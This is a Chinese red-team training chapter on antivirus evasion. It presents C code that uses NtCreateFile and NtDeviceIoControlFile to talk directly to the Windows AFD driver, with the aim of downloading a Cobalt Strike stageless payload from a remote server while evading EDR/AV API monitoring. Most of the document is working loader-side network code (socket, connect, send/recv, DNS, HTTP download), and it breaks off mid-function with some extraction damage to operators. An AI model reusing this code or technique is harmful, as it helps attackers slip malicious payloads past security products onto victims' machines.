红队免杀培训第二章-使用系统调用http 协议下载恶意载荷

前言

从杀软的行为分析来看，就拿cs的通信协议来讲，stage 的载荷在行为上是明显比stageless载荷多很多的，其中不免一些通信协议的特征，分析过的都知道，stage只是个前置载荷，后续会下更大的功能更全的载荷，因为之前做免杀卡巴的时候就注意到了，静态全免，但是在下回来更大的载荷的时候爆毒了，后面分析，卡巴对cs的通信协议进行拦截，从云沙箱的检测来看，stage 爆毒数明显是比stageless多的。

所以我个人建议，为了彻底过静态（加载器和shellcode分离的方式），把stageless放在远程服务器，甚至可以小心机一点，把载荷分成几个小的stageless加密起来，然后在内存中重组就行，那么涉及到通信协议，我们如何吧stageless下载回本地，根据现在的主流看法，http协议和https协议是最适合的，因为更贴近正常的用户使用的协议，不过考虑到杀软和edr对windows api的监控，所以这里采用系统调用的方式来实现http通信功能。

原理和准备

Winsock是一种能使Windows程序通过任意网络传输协议发送数据的API，windows 的API 一般是由更底层的api或多个api封装而成的函数接口，我们要绕过windsock 直接与 AFD 驱动程序进行通信的话，我们就需要探查Winsock中具体哪些函数api是起到作用的，

我们发现，通过NtCreateFile和NtDeviceIoControlFile就能直接与 AFD 驱动程序进行通信。

1.首先通信需要创建一个socket，我们调用NtCreateFile来打开DeviceAfdEndpoint对象，socket属性（地址族、协议类型等）是使用数据结构体来指定的，该结构作为“扩展属性”传递给NtCreateFile 函数。

创建socket示例代码：（ipv4 TCP）：

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DWORD NTSockets_CreateTcpSocket(NTSockets_SocketDataStruct *pSocketData)
{
    IO_STATUS_BLOCK IoStatusBlock;
    HANDLE hEvent = NULL;
    HANDLE hSocket = NULL;
    OBJECT_ATTRIBUTES ObjectAttributes;
    NTSockets_SocketDataStruct SocketData;
    UNICODE_STRING ObjectFilePath;
    DWORD dwStatus = 0;
    BYTE bExtendedAttributes[] =
{
        0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
        0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
};

    //创建状态事件
    hEvent = CreateEvent(NULL, 0, 0, NULL);
    if(hEvent == NULL)
{
        return 1;
}

    //设置 afd 端点路径
    memset((void*)&ObjectFilePath, 0, sizeof(ObjectFilePath));
    ObjectFilePath.Buffer = L"\Device\Afd\Endpoint";
    ObjectFilePath.Length = wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
    ObjectFilePath.MaximumLength = ObjectFilePath.Length;

    // 初始化对象属性
    memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));
    ObjectAttributes.Length = sizeof(ObjectAttributes);
    ObjectAttributes.ObjectName = &ObjectFilePath;
    ObjectAttributes.Attributes = 0x40;

    // 创建套接字句柄
    IoStatusBlock.Status = 0;
    IoStatusBlock.Information = NULL;
    dwStatus = NtCreateFile(&hSocket, 0xC0140000, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));
    if(dwStatus != 0)
{
        CloseHandle(hEvent);
        return 1;
}
    // 初始化 SocketData 对象
    memset((void*)&SocketData, 0, sizeof(SocketData));
    SocketData.hSocket = hSocket;
    SocketData.hStatusEvent = hEvent;

    // 存储套接字数据
    memcpy((void*)pSocketData, (void*)&SocketData, sizeof(SocketData));
    return 0;
}

2.有了socket，该使用NtDeviceIoControlFile与 AFD 驱动程序进行通信：

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WORD NTSockets_SocketDriverMsg(NTSockets_SocketDataStruct *pSocketData, DWORD dwIoControlCode, BYTE *pData, DWORD dwLength, DWORD *pdwOutputInformation)
{
    IO_STATUS_BLOCK IoStatusBlock;
    DWORD dwStatus = 0;
    BYTE bOutputBlock[0x10];
    // 重置状态事件
    ResetEvent(pSocketData->hStatusEvent);
    // 发送设备控制请求
    IoStatusBlock.Status = 0;
    IoStatusBlock.Information = NULL;
    dwStatus = NtDeviceIoControlFile(pSocketData->hSocket, pSocketData->hStatusEvent, NULL, NULL, &IoStatusBlock, dwIoControlCode, (void*)pData, dwLength, bOutputBlock, sizeof(bOutputBlock));
    if(dwStatus == STATUS_PENDING)
{
        // 响应挂起 - 等待事件
        if(WaitForSingleObject(pSocketData->hStatusEvent, INFINITE) != WAIT_OBJECT_0)
        {
            return 1;
        }

        // 完成 - 获取最终状态码
        dwStatus = IoStatusBlock.Status;
}
    // 检查错误
    if(dwStatus != 0)
{
        return 1;
}
    if(pdwOutputInformation != NULL)
{
        // 存储输出信息
        *pdwOutputInformation = (DWORD)IoStatusBlock.Information;
}
    return 0;
}

3.使用相应的dwIoControlCode值调用NTSockets_SocketDriverMsg来执行我们想要执行的操作 - 连接、发送、接收等，如果事件对象返回一个挂起的状态代码，则等待函数完成，完成后，我们可以使用CloseHandle（或NtClose）关闭socket。

例如关闭socket的函数代码示例：

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DWORD NTSockets_CloseSocket(NTSockets_SocketDataStruct *pSocketData)
{
CloseHandle(pSocketData->hSocket);
CloseHandle(pSocketData->hStatusEvent);
return 0;
}

一个正常socket通信还需要以下功能

NTSockets_CreateTcpSocket - 创建 TCP 套接字（相当于socket()）NTSockets_ConvertIP - 将 IP 字符串转换为二进制地址（相当于to inet_addr () )NTSockets_Swap16BitByteOrder - 将 16 位整数转换为/从网络字节顺序（相当于htons() / ntohs()）NTSockets_Connect - 连接到远程主机（相当于connect()）NTSockets_Send - 将数据发送到套接字（相当于发送（）- 注意：在发送完所有字节后，该函数不会返回）NTSockets_Recv - 从套接字接收请求的字节数（相当于recv() - 注意：在接收到所有字节之前，该函数不会返回）NTSockets_CloseSocket - 关闭套接字（相当于closesocket() )

实际代码示例

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#include <stdio.h>
#include <windows.h>
struct IO_STATUS_BLOCK
{
union
{
        DWORD Status;
        PVOID Pointer;
};
DWORD* Information;
};
struct UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
};
struct OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING* ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
};
struct NTSockets_ConnectDataStruct
{
DWORD dwUnknown1;
DWORD dwUnknown2;
DWORD dwUnknown3;
sockaddr_in SockAddr;
};
struct NTSockets_BindDataStruct
{
DWORD dwUnknown1;
sockaddr_in SockAddr;
};

struct NTSockets_DataBufferStruct
{
DWORD dwDataLength;
BYTE* pData;
};

struct NTSockets_SendRecvDataStruct
{
NTSockets_DataBufferStruct* pBufferList;
DWORD dwBufferCount;
DWORD dwUnknown1;
DWORD dwUnknown2;
};

struct NTSockets_SocketDataStruct
{
HANDLE hSocket;
HANDLE hStatusEvent;
};

struct DNSClient_HeaderStruct
{
WORD wTransID;
WORD wFlags;
WORD wQuestionCount;
WORD wAnswerRecordCount;
WORD wAuthorityRecordCount;
WORD wAdditionalRecordCount;
};

struct DNSClient_RequestQueryDetailsStruct
{
WORD wType;
WORD wClass;
};

struct DNSClient_ResponseAnswerHeaderStruct
{
WORD wName;
WORD wType;
WORD wClass;
WORD wTTL[2];
WORD wLength;
};

DWORD(WINAPI* NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID* ApcRoutine, PVOID ApcContext, IO_STATUS_BLOCK* IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);
DWORD(WINAPI* NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, IO_STATUS_BLOCK* IoStatusBlock, LARGE_INTEGER* AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);

DWORD NTSockets_CreateTcpSocket(NTSockets_SocketDataStruct* pSocketData)
{
IO_STATUS_BLOCK IoStatusBlock;
HANDLE hEvent = NULL;
HANDLE hSocket = NULL;
OBJECT_ATTRIBUTES ObjectAttributes;
NTSockets_SocketDataStruct SocketData;
UNICODE_STRING ObjectFilePath;
DWORD dwStatus = 0;
BYTE bExtendedAttributes[] =
{
        0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
        0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
};
// 创建状态事件
hEvent = CreateEvent(NULL, 0, 0, NULL);
if (hEvent == NULL)
{
        return 1;
}
// 设置 afd 端点路径
memset((void*)&ObjectFilePath, 0, sizeof(ObjectFilePath));
ObjectFilePath.Buffer = (PWSTR)"\Device\Afd\Endpoint";
ObjectFilePath.Length = wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
ObjectFilePath.MaximumLength = ObjectFilePath.Length;

// 初始化对象属性
memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));
ObjectAttributes.Length = sizeof(ObjectAttributes);
ObjectAttributes.ObjectName = &ObjectFilePath;
ObjectAttributes.Attributes = 0x40;

// 创建套接字句柄
IoStatusBlock.Status = 0;
IoStatusBlock.Information = NULL;
dwStatus = NtCreateFile(&hSocket, 0xC0140000, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));
if (dwStatus != 0)
{
        CloseHandle(hEvent);
        return 1;
}
// 初始化 SocketData 对象
memset((void*)&SocketData, 0, sizeof(SocketData));
SocketData.hSocket = hSocket;
SocketData.hStatusEvent = hEvent;
// 存储套接字数据
memcpy((void*)pSocketData, (void*)&SocketData, sizeof(SocketData));
return 0;
}

DWORD NTSockets_SocketDriverMsg(NTSockets_SocketDataStruct* pSocketData, DWORD dwIoControlCode, BYTE* pData, DWORD dwLength, DWORD* pdwOutputInformation)
{
IO_STATUS_BLOCK IoStatusBlock;
DWORD dwStatus = 0;
BYTE bOutputBlock[0x10];
// 重置状态事件
ResetEvent(pSocketData->hStatusEvent);
//发送设备控制请求
IoStatusBlock.Status = 0;
IoStatusBlock.Information = NULL;
dwStatus = NtDeviceIoControlFile(pSocketData->hSocket, pSocketData->hStatusEvent, NULL, NULL, &IoStatusBlock, dwIoControlCode, (void*)pData, dwLength, bOutputBlock, sizeof(bOutputBlock));
if (dwStatus == STATUS_PENDING)
{
        // 响应挂起 - 等待事件
        if (WaitForSingleObject(pSocketData->hStatusEvent, INFINITE) != WAIT_OBJECT_0)
        {
            return 1;
        }
        // 完成 - 获取最终状态码
        dwStatus = IoStatusBlock.Status;
}
if (dwStatus != 0)
{
        return 1;
}
if (pdwOutputInformation != NULL)
{
        // 存储输出信息
        *pdwOutputInformation = (DWORD)IoStatusBlock.Information;
}
return 0;
}

DWORD NTSockets_ConvertIP(char* pIP, DWORD* pdwAddr)
{
char szCurrOctet[8];
DWORD dwCurrOctetIndex = 0;
DWORD dwCompletedOctetCount = 0;
char* pCurrByte = NULL;
DWORD dwEndOfOctet = 0;
DWORD dwEndOfString = 0;
DWORD dwOctet = 0;
BYTE bOctets[4];
DWORD dwAddr = 0;
// 读取 IP 字符串
memset(szCurrOctet, 0, sizeof(szCurrOctet));
dwCurrOctetIndex = 0;
pCurrByte = pIP;
for (;;)
{
        // 处理当前字符
        dwEndOfOctet = 0;
        if (*pCurrByte == '')
        {
            //字符串结尾
            dwEndOfOctet = 1;
            dwEndOfString = 1;
        }
        else if (*pCurrByte == '.')
        {
            // 八进制结束
            dwEndOfOctet = 1;
        }
        else
        {
            // 确保这个字符是一个数字
            if (*pCurrByte >= '0' && *pCurrByte <= '9')
            {
                if (dwCurrOctetIndex > 2)
                {
                    // 无效IP
                    return 1;
                }

                // 存储当前字符
                szCurrOctet[dwCurrOctetIndex] = *pCurrByte;
                dwCurrOctetIndex  ;
            }
            else
            {
                return 1;
            }
        }

        // 检查当前八位字节是否完整
        if (dwEndOfOctet != 0)
        {
            if (dwCurrOctetIndex == 0)
            {
                return 1;
            }
            // 将八位字节字符串转换为整数
            dwOctet = atoi(szCurrOctet);
            if (dwOctet > 255)
            {
                // invalid ip
                return 1;
            }
            // 已经读了 4 个八位字节
            if (dwCompletedOctetCount >= 4)
            {
                return 1;
            }

            // 存储当前八位字节
            bOctets[dwCompletedOctetCount] = (BYTE)dwOctet;

            // 当前八位字节完成
            dwCompletedOctetCount  ;
            if (dwEndOfString != 0)
            {
                break;
            }

            //重置 szCurrOctet 字符串
            memset(szCurrOctet, 0, sizeof(szCurrOctet));
            dwCurrOctetIndex = 0;
        }
        // 移动到下一个字符
        pCurrByte  ;
}

// 确保找到 4 个八位字节
if (dwCompletedOctetCount != 4)
{
        return 1;
}
memcpy((void*)&dwAddr, bOctets, 4);
*pdwAddr = dwAddr;
return 0;
}

WORD NTSockets_Swap16BitByteOrder(WORD wValue)
{
WORD wNewValue = 0;
// 交换字节顺序——假设我们在基于 x86 上运行
*(BYTE*)((DWORD)&wNewValue   0) = *(BYTE*)((DWORD)&wValue   1);
*(BYTE*)((DWORD)&wNewValue   1) = *(BYTE*)((DWORD)&wValue   0);
return wNewValue;
}

DWORD NTSockets_Connect(NTSockets_SocketDataStruct* pSocketData, char* pIP, WORD wPort)
{
NTSockets_BindDataStruct NTSockets_BindData;
NTSockets_ConnectDataStruct NTSockets_ConnectData;
WORD wConnectPort = 0;
DWORD dwConnectAddr = 0;
// 绑定到本地端口
memset((void*)&NTSockets_BindData, 0, sizeof(NTSockets_BindData));
NTSockets_BindData.dwUnknown1 = 2;
NTSockets_BindData.SockAddr.sin_family = AF_INET;
NTSockets_BindData.SockAddr.sin_addr.s_addr = INADDR_ANY;
NTSockets_BindData.SockAddr.sin_port = 0;
if (NTSockets_SocketDriverMsg(pSocketData, 0x00012003, (BYTE*)&NTSockets_BindData, sizeof(NTSockets_BindData), NULL) != 0)
{
        return 1;
}
// 读取连接ip
if (NTSockets_ConvertIP(pIP, &dwConnectAddr) != 0)
{
        return 1;
}
// 对连接端口使用网络字节顺序
wConnectPort = NTSockets_Swap16BitByteOrder(wPort);

// 连接到远程端口
memset((void*)&NTSockets_ConnectData, 0, sizeof(NTSockets_ConnectData));
NTSockets_ConnectData.dwUnknown1 = 0;
NTSockets_ConnectData.dwUnknown2 = 0;
NTSockets_ConnectData.dwUnknown3 = 0;
NTSockets_ConnectData.SockAddr.sin_family = AF_INET;
NTSockets_ConnectData.SockAddr.sin_addr.s_addr = dwConnectAddr;
NTSockets_ConnectData.SockAddr.sin_port = wConnectPort;
if (NTSockets_SocketDriverMsg(pSocketData, 0x00012007, (BYTE*)&NTSockets_ConnectData, sizeof(NTSockets_ConnectData), NULL) != 0)
{
        return 1;
}
return 0;
}

DWORD NTSockets_Send(NTSockets_SocketDataStruct* pSocketData, BYTE* pData, DWORD dwLength)
{
NTSockets_SendRecvDataStruct NTSockets_SendRecvData;
NTSockets_DataBufferStruct NTSockets_DataBuffer;
DWORD dwBytesSent = 0;
BYTE* pCurrSendPtr = NULL;
DWORD dwBytesRemaining = 0;

// 设置初始值
pCurrSendPtr = pData;
dwBytesRemaining = dwLength;

// 发送数据
for (;;)
{
        if (dwBytesRemaining == 0)
        {
            break;
        }

        // 设置数据缓冲区值
        memset((void*)&NTSockets_DataBuffer, 0, sizeof(NTSockets_DataBuffer));
        NTSockets_DataBuffer.dwDataLength = dwBytesRemaining;
        NTSockets_DataBuffer.pData = pCurrSendPtr;

        // 发送当前块
        memset((void*)&NTSockets_SendRecvData, 0, sizeof(NTSockets_SendRecvData));
        NTSockets_SendRecvData.pBufferList = &NTSockets_DataBuffer;
        NTSockets_SendRecvData.dwBufferCount = 1;
        NTSockets_SendRecvData.dwUnknown1 = 0;
        NTSockets_SendRecvData.dwUnknown2 = 0;
        if (NTSockets_SocketDriverMsg(pSocketData, 0x0001201F, (BYTE*)&NTSockets_SendRecvData, sizeof(NTSockets_SendRecvData), &dwBytesSent) != 0)
        {
            return 1;
        }
        if (dwBytesSent == 0)
        {
            // 套接字断开连接
            return 1;
        }
        pCurrSendPtr  = dwBytesSent;
        dwBytesRemaining -= dwBytesSent;
}

return 0;
}

DWORD NTSockets_Recv(NTSockets_SocketDataStruct* pSocketData, BYTE* pData, DWORD dwLength)
{
NTSockets_SendRecvDataStruct NTSockets_SendRecvData;
NTSockets_DataBufferStruct NTSockets_DataBuffer;
DWORD dwBytesReceived = 0;
BYTE* pCurrRecvPtr = NULL;
DWORD dwBytesRemaining = 0;

//设置初始值
pCurrRecvPtr = pData;
dwBytesRemaining = dwLength;

//发送数据
for (;;)
{
        if (dwBytesRemaining == 0)
        {
            break;
        }
        // 设置数据缓冲区值
        memset((void*)&NTSockets_DataBuffer, 0, sizeof(NTSockets_DataBuffer));
        NTSockets_DataBuffer.dwDataLength = dwBytesRemaining;
        NTSockets_DataBuffer.pData = pCurrRecvPtr;

        // 接收当前块
        memset((void*)&NTSockets_SendRecvData, 0, sizeof(NTSockets_SendRecvData));
        NTSockets_SendRecvData.pBufferList = &NTSockets_DataBuffer;
        NTSockets_SendRecvData.dwBufferCount = 1;
        NTSockets_SendRecvData.dwUnknown1 = 0;
        NTSockets_SendRecvData.dwUnknown2 = 0x20;
        if (NTSockets_SocketDriverMsg(pSocketData, 0x00012017, (BYTE*)&NTSockets_SendRecvData, sizeof(NTSockets_SendRecvData), &dwBytesReceived) != 0)
        {
            return 1;
        }
        if (dwBytesReceived == 0)
        {
            // 套接字断开连接
            return 1;
        }
        pCurrRecvPtr  = dwBytesReceived;
        dwBytesRemaining -= dwBytesReceived;
}

return 0;
}

DWORD NTSockets_CloseSocket(NTSockets_SocketDataStruct* pSocketData)
{
CloseHandle(pSocketData->hSocket);
CloseHandle(pSocketData->hStatusEvent);
return 0;
}

DWORD DNSClient_Query(char* pDNSClient_IP, char* pTargetHost, char* pOutput, DWORD dwOutputMaxLength)
{
NTSockets_SocketDataStruct SocketData;
DNSClient_HeaderStruct DNSClient_RequestHeader;
DNSClient_RequestQueryDetailsStruct DNSClient_RequestQueryDetails;
DNSClient_HeaderStruct* pDNSClient_ResponseHeader = NULL;
DNSClient_ResponseAnswerHeaderStruct* pDNSClient_ResponseAnswerHeader = NULL;
DWORD dwIpAddrIndex = 0;
DWORD dwFoundRecord = 0;
DWORD dwCurrAnswerEntryStartIndex = 0;
DWORD dwHostLength = 0;
DWORD dwCurrLabelLength = 0;
WORD wRequestLength = 0;
WORD wResponseLength = 0;
WORD wBlockLength = 0;
WORD wAnswerCount = 0;
BYTE bIP[4];
BYTE bResponseBuffer[4096];
char szConvertedHost[1024];
char* pCurrDot = NULL;
char szIP[32];

// 将目标主机名转换为 dns 格式
memset(szConvertedHost, 0, sizeof(szConvertedHost));
_snprintf(szConvertedHost, sizeof(szConvertedHost) - 1, ".%s", pTargetHost);
dwHostLength = strlen(szConvertedHost)   1;
for (DWORD i = 0; i < dwHostLength; i  )
{
        // 处理域标签
        if (szConvertedHost[i] == '.' || szConvertedHost[i] == '')
        {
            // 检查是否存在先前的分隔符
            if (pCurrDot != NULL)
            {
                // 计算当前标签长度
                dwCurrLabelLength = (DWORD)(&szConvertedHost[i] - pCurrDot);
                dwCurrLabelLength--;
                if (dwCurrLabelLength == 0 || dwCurrLabelLength >= 64)
                {
                    return 1;
                }

                //插入标签长度
                *pCurrDot = (char)dwCurrLabelLength;
            }

            // 存储当前点位置
            pCurrDot = &szConvertedHost[i];
        }
}

// 创建套接字句柄
if (NTSockets_CreateTcpSocket(&SocketData) != 0)
{
        return 1;
}

// 连接到 DNS 服务器
if (NTSockets_Connect(&SocketData, pDNSClient_IP, 53) != 0)
{
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

//计算请求长度
wRequestLength = sizeof(DNSClient_HeaderStruct)   dwHostLength   sizeof(DNSClient_RequestQueryDetails);
wBlockLength = NTSockets_Swap16BitByteOrder(wRequestLength);

// 设置请求头详细信息
memset((void*)&DNSClient_RequestHeader, 0, sizeof(DNSClient_RequestHeader));
DNSClient_RequestHeader.wTransID = NTSockets_Swap16BitByteOrder(1);
DNSClient_RequestHeader.wFlags = NTSockets_Swap16BitByteOrder(0x100);
DNSClient_RequestHeader.wQuestionCount = NTSockets_Swap16BitByteOrder(1);

// A 类 DNS 请求
memset((void*)&DNSClient_RequestQueryDetails, 0, sizeof(DNSClient_RequestQueryDetails));
DNSClient_RequestQueryDetails.wType = NTSockets_Swap16BitByteOrder(1);
DNSClient_RequestQueryDetails.wClass = NTSockets_Swap16BitByteOrder(1);

// 发送请求长度
if (NTSockets_Send(&SocketData, (BYTE*)&wBlockLength, sizeof(WORD)) != 0)
{
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

// 发送请求头
if (NTSockets_Send(&SocketData, (BYTE*)&DNSClient_RequestHeader, sizeof(DNSClient_RequestHeader)) != 0)
{
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

//发送主机名
if (NTSockets_Send(&SocketData, (BYTE*)szConvertedHost, dwHostLength) != 0)
{
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

// 发送主机查询详情
if (NTSockets_Send(&SocketData, (BYTE*)&DNSClient_RequestQueryDetails, sizeof(DNSClient_RequestQueryDetails)) != 0)
{
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

//接收响应长度
if (NTSockets_Recv(&SocketData, (BYTE*)&wBlockLength, sizeof(WORD)) != 0)
{
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

// 交换字节顺序
wResponseLength = NTSockets_Swap16BitByteOrder(wBlockLength);

// 验证响应长度
if (wResponseLength < sizeof(DNSClient_HeaderStruct) || wResponseLength > sizeof(bResponseBuffer))
{
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

// 接收响应数据
memset((void*)bResponseBuffer, 0, sizeof(bResponseBuffer));
if (NTSockets_Recv(&SocketData, bResponseBuffer, wResponseLength) != 0)
{
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

//设置响应头 ptr
pDNSClient_ResponseHeader = (DNSClient_HeaderStruct*)bResponseBuffer;

//检查标志（期望响应，没有错误）
if (pDNSClient_ResponseHeader->wFlags != NTSockets_Swap16BitByteOrder(0x8180))
{
        // error
        NTSockets_CloseSocket(&SocketData);

        return 1;
}

// 验证问题计数
if (pDNSClient_ResponseHeader->wQuestionCount != NTSockets_Swap16BitByteOrder(1))
{
        // error
        NTSockets_CloseSocket(&SocketData);

        return 1;
}

// 获取响应答案计数
wAnswerCount = NTSockets_Swap16BitByteOrder(pDNSClient_ResponseHeader->wAnswerRecordCount);

// 阅读 DNS 响应答案
dwCurrAnswerEntryStartIndex = wRequestLength;
for (int i = 0; i < (DWORD)wAnswerCount; i  )
{
        // 验证开始索引
        if ((dwCurrAnswerEntryStartIndex   sizeof(DNSClient_ResponseAnswerHeaderStruct)) > (DWORD)wResponseLength)
        {
            // error
            NTSockets_CloseSocket(&SocketData);

            return 1;
        }

        // 获取当前响应答案标题 ptr
        pDNSClient_ResponseAnswerHeader = (DNSClient_ResponseAnswerHeaderStruct*)&bResponseBuffer[dwCurrAnswerEntryStartIndex];

        //检查这是否是 A 类记录
        if (pDNSClient_ResponseAnswerHeader->wType == NTSockets_Swap16BitByteOrder(1) && pDNSClient_ResponseAnswerHeader->wClass == NTSockets_Swap16BitByteOrder(1))
        {
            // 确保值长度为 4（ipv4 地址）
            if (pDNSClient_ResponseAnswerHeader->wLength != NTSockets_Swap16BitByteOrder(4))
            {
                NTSockets_CloseSocket(&SocketData);
                return 1;
            }

            // 验证 ip 地址索引
            dwIpAddrIndex = dwCurrAnswerEntryStartIndex   sizeof(DNSClient_ResponseAnswerHeaderStruct);
            if ((dwIpAddrIndex   4) > (DWORD)wResponseLength)
            {
                NTSockets_CloseSocket(&SocketData);
                return 1;
            }

            // 存储IP地址
            memcpy((void*)bIP, (void*)&bResponseBuffer[dwIpAddrIndex], 4);
            dwFoundRecord = 1;
            break;
        }
        else
        {
            // 检查下一个条目
            dwCurrAnswerEntryStartIndex  = sizeof(DNSClient_ResponseAnswerHeaderStruct);
            dwCurrAnswerEntryStartIndex  = NTSockets_Swap16BitByteOrder(pDNSClient_ResponseAnswerHeader->wLength);
        }
}

// 关闭套接字
NTSockets_CloseSocket(&SocketData);

// 确保找到有效记录
if (dwFoundRecord == 0)
{
        return 1;
}
//生成IP字符串
memset(szIP, 0, sizeof(szIP));
_snprintf(szIP, sizeof(szIP) - 1, "%u.%u.%u.%u", bIP[0], bIP[1], bIP[2], bIP[3]);

// 存储值
strncpy(pOutput, szIP, dwOutputMaxLength);
return 0;
}

DWORD DownloadFile(char* pURL, BYTE** pOutput, DWORD* pdwOutputLength)
{
char szProtocol[16];
char szHostName[256];
char szRequestHeader[2048];
char szResponseHeader[2048];
char* pStartOfHostName = NULL;
char* pEndOfHostName = NULL;
char* pRequestPath = NULL;
DWORD dwAddr = 0;
char* pHostNamePort = NULL;
DWORD dwPort = 0;
char szResolvedIP[32];
NTSockets_SocketDataStruct SocketData;
DWORD dwFoundEndOfResponseHeader = 0;
char szEndOfResponseHeader[8];
char szResponseSuccessStatus[32];
char szContentLengthParamName[16];
char* pContentLength = NULL;
char* pEndOfContentLength = NULL;
DWORD dwOutputLength = 0;
DWORD dwOutputAllocLength = 0;
BYTE* pOutputBuffer = NULL;
BYTE* pNewOutputBuffer = NULL;
BYTE bCurrByte = 0;
//确保网址以“http://”开头
memset(szProtocol, 0, sizeof(szProtocol));
strncpy(szProtocol, "http://", sizeof(szProtocol) - 1);
if (strncmp(pURL, szProtocol, strlen(szProtocol)) != 0)
{
        printf("Error: Invalid protocoln");
        return 1;
}

// 复制主机名
pStartOfHostName = pURL;
pStartOfHostName  = strlen(szProtocol);
memset(szHostName, 0, sizeof(szHostName));
strncpy(szHostName, pStartOfHostName, sizeof(szHostName) - 1);

// 从主机名中删除请求路径
pEndOfHostName = strstr(szHostName, "/");
if (pEndOfHostName == NULL)
{
        printf("Error: Invalid URLn");
        return 1;
}
*pEndOfHostName = '';
// 检查主机名是否包含自定义端口号
pHostNamePort = strstr(szHostName, ":");
if (pHostNamePort == NULL)
{
        // 未指定端口 - 使用端口 80
        dwPort = 80;
}
else
{
        // 终止字符串
        *pHostNamePort = '';
        // 提取端口号
        pHostNamePort  ;
        dwPort = atoi(pHostNamePort);
        if (dwPort == 0)
        {
            printf("Error: Invalid URLn");
            return 1;
        }
}
// 获取请求路径的开始
pRequestPath = pStartOfHostName;
pRequestPath  = strlen(szHostName);

// 检查主机名是否是有效的 ipv4 地址
memset(szResolvedIP, 0, sizeof(szResolvedIP));
if (NTSockets_ConvertIP(szHostName, &dwAddr) != 0)
{
        // 不是 ipv4 - 尝试使用 DNS 解析主机
        if (DNSClient_Query((char *)"114.114.114.114", szHostName, szResolvedIP, sizeof(szResolvedIP) - 1) != 0)
        {
            // error
            printf("Error: Failed to resolve host namen");
            return 1;
        }
}
else
{
        // 复制原始ip
        strncpy(szResolvedIP, szHostName, sizeof(szResolvedIP) - 1);
}

// 创建套接字句柄
if (NTSockets_CreateTcpSocket(&SocketData) != 0)
{
        // error
        printf("Error: Failed to create TCP socketn");

        return 1;
}

// 连接到服务器
if (NTSockets_Connect(&SocketData, szResolvedIP, (WORD)dwPort) != 0)
{
        printf("Error: Failed to connect to servern");
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

// 发送 HTTP 请求
memset(szRequestHeader, 0, sizeof(szRequestHeader));
_snprintf(szRequestHeader, sizeof(szRequestHeader) - 1, "GET %s HTTP/1.0rnHost: %srnrn", pRequestPath, szHostName);
if (NTSockets_Send(&SocketData, (BYTE*)szRequestHeader, strlen(szRequestHeader)) != 0)
{
        printf("Error: Failed to send data to servern");
        NTSockets_CloseSocket(&SocketData);
        return 1;
}
printf("Sent HTTP request:n%s", szRequestHeader);
// 获取响应头
memset(szEndOfResponseHeader, 0, sizeof(szEndOfResponseHeader));
strncpy(szEndOfResponseHeader, "rnrn", sizeof(szEndOfResponseHeader) - 1);
memset(szResponseHeader, 0, sizeof(szResponseHeader));
for (DWORD i = 0; i < sizeof(szResponseHeader) - 1; i  )
{
        // 获取下一个字节
        if (NTSockets_Recv(&SocketData, (BYTE*)&szResponseHeader[i], 1) != 0)
        {
            printf("Error: Failed to read HTTP response headern");
            NTSockets_CloseSocket(&SocketData);
            return 1;
        }

        // 检查这是否是响应头的结尾
        if ((i   1) >= strlen(szEndOfResponseHeader))
        {
            if (strncmp(&szResponseHeader[(i   1) - strlen(szEndOfResponseHeader)], szEndOfResponseHeader, strlen(szEndOfResponseHeader)) == 0)
            {

                // 找到响应头的结尾
                dwFoundEndOfResponseHeader = 1;
                break;
            }
        }
}

// 确保找到响应头的结尾
if (dwFoundEndOfResponseHeader == 0)
{
        printf("Error: Failed to read HTTP response headern");
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

printf("Received HTTP response:n%s", szResponseHeader);

// 将响应头转换为大写（用于下面的内容长度值搜索
for (int i = 0; i < strlen(szResponseHeader); i  )
{
        // convert to upper-case (for the content-length value search below)
        szResponseHeader[i] = toupper(szResponseHeader[i]);
}

// 检查状态码
